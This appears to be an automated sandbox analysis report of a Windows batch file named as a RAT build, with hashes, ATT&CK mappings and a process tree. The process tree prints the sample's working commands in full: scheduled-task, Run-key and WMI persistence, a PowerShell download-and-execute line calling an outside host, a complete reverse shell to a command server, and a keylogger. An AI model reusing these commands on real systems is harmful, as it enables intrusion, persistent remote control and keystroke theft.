53e023837d4efb250e10e008c61389db40c41b0687a9d5781dc39ebc72b945ef

Analysis

max time kernel
149s
max time network
164s
platform
windows10-2004_x64
resource
win10v2004-20260513-en
resource tags

arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
29/05/2026, 01:31

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General

Target
rat_build_260134_014703.bat
Size 4KB
Sample260529-bxn8dsfz8k
SHA256 53e023837d4efb250e10e008c61389db40c41b0687a9d5781dc39ebc72b945ef
MD5 a19e3a9913661dd6243812a464ac4249
SHA1 884d9cd76c5eec840a9d5d4cada06b5331169c36
SHA512 9825522c2522b07abc6c3edce5316bd322747f0c72854e2cffa4e0d8b1e6705951ef9a04e0b6c05065199136b3c6de91ad796ecc5e9e404acd80f85b026d964a
SSDEEP 96:JIH1GWfPsisal9YILV9k5KjrYUzCM1PG+bWIjrrSmg16duiFgZk8mvlo1FaCg:J8BfPRV9YIjdxzIHm+iFgkHlcaCg
TLSH
T172A1F82753562220CAF4670CDA323C14936CE9F72744C68EFB4CCDC52A4DB17956A2B7
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

execution persistence

Malware Config

Extracted

Language

Deobfuscated

Source

URLs

ps1.dropper
http://payload.server/update_260134.ps1

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
1648	powershell.exe
2604	powershell.exe
3044	powershell.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-2937465464-4167303362-2236413517-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Updater_260134 = "C:\\Users\\Admin\\AppData\\Local\\Temp\\_260134.bat"	reg.exe

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
5	checkip.amazonaws.com

Gathers network information 2 TTPs 1 IoCs

Uses commandline utility to view network configuration.

System Information Discovery

T1082

Command and Scripting Interpreter

T1059

pid	Process
4416	NETSTAT.EXE

Gathers system information 1 TTPs 1 IoCs

Runs systeminfo.exe.

System Information Discovery

T1082

pid	Process
1212	systeminfo.exe

Modifies registry key 1 TTPs 1 IoCs

Modify Registry

T1112

pid	Process
4080	reg.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
3296	schtasks.exe

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
1648	powershell.exe
1648	powershell.exe
2604	powershell.exe
2604	powershell.exe
3044	powershell.exe
3044	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeIncreaseQuotaPrivilege	4036	WMIC.exe
Token: SeSecurityPrivilege	4036	WMIC.exe
Token: SeTakeOwnershipPrivilege	4036	WMIC.exe
Token: SeLoadDriverPrivilege	4036	WMIC.exe
Token: SeSystemProfilePrivilege	4036	WMIC.exe
Token: SeSystemtimePrivilege	4036	WMIC.exe
Token: SeProfSingleProcessPrivilege	4036	WMIC.exe
Token: SeIncBasePriorityPrivilege	4036	WMIC.exe
Token: SeCreatePagefilePrivilege	4036	WMIC.exe
Token: SeBackupPrivilege	4036	WMIC.exe
Token: SeRestorePrivilege	4036	WMIC.exe
Token: SeShutdownPrivilege	4036	WMIC.exe
Token: SeDebugPrivilege	4036	WMIC.exe
Token: SeSystemEnvironmentPrivilege	4036	WMIC.exe
Token: SeRemoteShutdownPrivilege	4036	WMIC.exe
Token: SeUndockPrivilege	4036	WMIC.exe
Token: SeManageVolumePrivilege	4036	WMIC.exe
Token: 33	4036	WMIC.exe
Token: 34	4036	WMIC.exe
Token: 35	4036	WMIC.exe
Token: 36	4036	WMIC.exe
Token: SeIncreaseQuotaPrivilege	4036	WMIC.exe
Token: SeSecurityPrivilege	4036	WMIC.exe
Token: SeTakeOwnershipPrivilege	4036	WMIC.exe
Token: SeLoadDriverPrivilege	4036	WMIC.exe
Token: SeSystemProfilePrivilege	4036	WMIC.exe
Token: SeSystemtimePrivilege	4036	WMIC.exe
Token: SeProfSingleProcessPrivilege	4036	WMIC.exe
Token: SeIncBasePriorityPrivilege	4036	WMIC.exe
Token: SeCreatePagefilePrivilege	4036	WMIC.exe
Token: SeBackupPrivilege	4036	WMIC.exe
Token: SeRestorePrivilege	4036	WMIC.exe
Token: SeShutdownPrivilege	4036	WMIC.exe
Token: SeDebugPrivilege	4036	WMIC.exe
Token: SeSystemEnvironmentPrivilege	4036	WMIC.exe
Token: SeRemoteShutdownPrivilege	4036	WMIC.exe
Token: SeUndockPrivilege	4036	WMIC.exe
Token: SeManageVolumePrivilege	4036	WMIC.exe
Token: 33	4036	WMIC.exe
Token: 34	4036	WMIC.exe
Token: 35	4036	WMIC.exe
Token: 36	4036	WMIC.exe
Token: SeIncreaseQuotaPrivilege	2468	WMIC.exe
Token: SeSecurityPrivilege	2468	WMIC.exe
Token: SeTakeOwnershipPrivilege	2468	WMIC.exe
Token: SeLoadDriverPrivilege	2468	WMIC.exe
Token: SeSystemProfilePrivilege	2468	WMIC.exe
Token: SeSystemtimePrivilege	2468	WMIC.exe
Token: SeProfSingleProcessPrivilege	2468	WMIC.exe
Token: SeIncBasePriorityPrivilege	2468	WMIC.exe
Token: SeCreatePagefilePrivilege	2468	WMIC.exe
Token: SeBackupPrivilege	2468	WMIC.exe
Token: SeRestorePrivilege	2468	WMIC.exe
Token: SeShutdownPrivilege	2468	WMIC.exe
Token: SeDebugPrivilege	2468	WMIC.exe
Token: SeSystemEnvironmentPrivilege	2468	WMIC.exe
Token: SeRemoteShutdownPrivilege	2468	WMIC.exe
Token: SeUndockPrivilege	2468	WMIC.exe
Token: SeManageVolumePrivilege	2468	WMIC.exe
Token: 33	2468	WMIC.exe
Token: 34	2468	WMIC.exe
Token: 35	2468	WMIC.exe
Token: 36	2468	WMIC.exe
Token: SeIncreaseQuotaPrivilege	2468	WMIC.exe

Suspicious use of WriteProcessMemory 10 IoCs

description	pid	Process	procid_target
PID 3364 wrote to memory of 3296	3364	cmd.exe	90
PID 3364 wrote to memory of 4080	3364	cmd.exe	91
PID 3364 wrote to memory of 4036	3364	cmd.exe	92
PID 3364 wrote to memory of 2468	3364	cmd.exe	93
PID 3364 wrote to memory of 4372	3364	cmd.exe	94
PID 3364 wrote to memory of 1212	3364	cmd.exe	95
PID 3364 wrote to memory of 4416	3364	cmd.exe	99
PID 3364 wrote to memory of 1648	3364	cmd.exe	100
PID 3364 wrote to memory of 2604	3364	cmd.exe	101
PID 3364 wrote to memory of 3044	3364	cmd.exe	102

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\rat_build_260134_014703.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:3364
- C:\Windows\system32\schtasks.exe
  schtasks /create /tn "WinUpdate_260134" /tr "C:\Users\Admin\AppData\Local\Temp\_260134.bat" /sc onlogon /ru "SYSTEM" /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:3296
- C:\Windows\system32\reg.exe
  reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v "Updater_260134" /t REG_SZ /d "C:\Users\Admin\AppData\Local\Temp\_260134.bat" /f
  2⤵
  - Adds Run key to start application
  - Modifies registry key
  PID:4080
- C:\Windows\System32\Wbem\WMIC.exe
  wmic /NAMESPACE:"\\root\subscription" PATH __EventFilter CREATE Name="filt_260134", EventNameSpace="root\cimv2", QueryLanguage="WQL", Query="SELECT * FROM Win32_ProcessStartTrace WHERE ProcessName='explorer.exe'"
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:4036
- C:\Windows\System32\Wbem\WMIC.exe
  wmic /NAMESPACE:"\\root\subscription" PATH CommandLineEventConsumer CREATE Name="cons_260134", CommandLineTemplate="cmd /c C:\Users\Admin\AppData\Local\Temp\_260134.bat"
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:2468
- C:\Windows\system32\curl.exe
  curl -s http://checkip.amazonaws.com -o C:\Users\Admin\AppData\Local\Temp\ip_260134.txt
  2⤵
  PID:4372
- C:\Windows\system32\systeminfo.exe
  systeminfo
  2⤵
  - Gathers system information
  PID:1212
- C:\Windows\system32\NETSTAT.EXE
  netstat -an
  2⤵
  - Gathers network information
  PID:4416
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "IEX((New-Object Net.WebClient).DownloadString('http://payload.server/update_260134.ps1'))"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:1648
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "$client = New-Object System.Net.Sockets.TCPClient('c2.server.com',443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0,$i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:2604
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "$w=(New-Object -ComObject WScript.Shell).Popup("Updating...",0,"Windows",0+48);$k=New-Object -ComObject WScript.Shell;$k.Run("powershell -WindowStyle Hidden -Command "$d=[Environment]::GetFolderPath('Desktop');$i=0;while($true){$key=[Console]::ReadKey($true);$t=$key.Key.ToString();if($t -eq 'Enter'){$t='[ENTER]'};Add-Content -Path $d\log.txt -Value $t}"),0,true"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:3044

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 2KB
SHA256 3b0068d29ae4b20c447227fbf410aa2deedfef6220ccc3f698f3c7707c032c55
MD5 2f57fde6b33e89a63cf0dfdd6e60a351
SHA1 445bf1b07223a04f8a159581a3d37d630273010f
SHA512 42857c5f111bfa163e9f4ea6b81a42233d0bbb0836ecc703ce7e8011b6f8a8eca761f39adc3ed026c9a2f99206d88bab9bddb42da9113e478a31a6382af5c220
TLSH
T15F51EE323375B1D8C9167F071E68198053BF4355EAA4AF1CB69C625EDD2640B9F222F3
MD5 SHA1 SHA512 TLSH

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StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 90c6af501c38c2c512ec4dd67d485ffeffc20a90b3cc998ee2b0b4585b0b418e
MD5 e7194fcd8f3568aeaef6f59400861e9e
SHA1 c3ceae98724f2252dc55a87b286fc8b86e0bcd6e
SHA512 444d5302cae72442d0dfcd443112a5a70819aa809b483853dea65f0b7e4e9cb019eaa596218f306765eaac3675db5c8d9fea0e6c6fa53a0539e9752386f033c3
TLSH
T18A117627F39CC921CC96153A409DAC1172B687DB81AEDF9FAFC4D214A07F984CB712A4
MD5 SHA1 SHA512 TLSH

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StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 479e30aab9aea527f35a883f9d2564454c5da1b0b512e00442931eee6dd7b4a0
MD5 9b2bec72b86f9fd4436e8d351bc99cdd
SHA1 630726346b61fcc2329944c935413d9f75b0c9cb
SHA512 fdfa2395e0d8751aa13b8bb7fa4ab329f20445e435bb8b005083b3d86c5d8bd67977e74d3b8b6f31a4b1f4d52aeeafc8e568d2c21ede254f18f55c730821629e
TLSH
T1A6115727B39C89A1CC96153A409D9C1172B683D7409EDEDF6BC0D214A17F584CB61190
MD5 SHA1 SHA512 TLSH

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__PSScriptPolicyTest_jnsjfisu.sj4.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_jnsjfisu.sj4.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

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memory/1648-3-0x000001D3EDC60000-0x000001D3EDC82000-memory.dmp

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